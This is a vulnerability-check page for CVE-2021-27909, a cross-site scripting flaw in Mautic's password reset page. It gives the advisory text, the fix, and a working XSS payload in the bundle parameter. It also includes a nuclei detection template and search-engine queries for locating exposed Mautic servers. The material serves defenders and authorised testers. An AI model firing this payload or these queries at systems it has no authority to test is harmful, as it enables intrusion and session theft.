Browse / CVEs / CVE-2021-27909
CVE-2021-27909· acquia / mautic· CWE-79
Mautic <3.3.4 - Cross-Site Scripting
mediumseverity
6.1CVSS score
4.1%likelihood of exploitation, next 30 days
91%of all CVEs are less likely
Readycheck to confirm it
Mautic before 3.3.4 contains a cross-site scripting vulnerability on the password reset page in the bundle parameter of the URL. An attacker can inject arbitrary script, steal cookie-based authentication credentials, and/or launch other attacks.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
Fix
Upgrade Mautic to version 3.3.4 or later to mitigate this vulnerability.
How to confirm it
Send: GET {{BaseURL}}/passwordreset?bundle=';alert(document.domain);var+ok='
Positive when: contains "'';alert(document.domain);var ok='" and "mauticBasePath" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2021-27909 -u <target>
The full check
id: CVE-2021-27909
info:
name: Mautic <3.3.4 - Cross-Site Scripting
author: kiransau
severity: medium
description: Mautic before 3.3.4 contains a cross-site scripting vulnerability on the password reset page in the bundle parameter of the URL. An attacker can inject arbitrary script, steal cookie-based authentication credentials, and/or launch other attacks.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
remediation: |
Upgrade Mautic to version 3.3.4 or later to mitigate this vulnerability.
reference:
- https://github.com/mautic/mautic/security/advisories/GHSA-32hw-3pvh-vcvc
- https://nvd.nist.gov/vuln/detail/CVE-2021-27909
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-27909
cwe-id: CWE-79
epss-score: 0.04067
epss-percentile: 0.90759
cpe: cpe:2.3:a:acquia:mautic:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: acquia
product: mautic
shodan-query:
- title:"Mautic"
- http.title:"mautic"
fofa-query: title="mautic"
google-query: intitle:"mautic"
tags: cve2021,cve,mautic,xss,acquia,vuln
http:
- method: GET
path:
- "{{BaseURL}}/passwordreset?bundle=';alert(document.domain);var+ok='"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "'';alert(document.domain);var ok='"
- 'mauticBasePath'
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200References
- https://github.com/mautic/mautic/security/advisories/GHSA-32hw-3pvh-vcvc
- https://nvd.nist.gov/vuln/detail/CVE-2021-27909
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from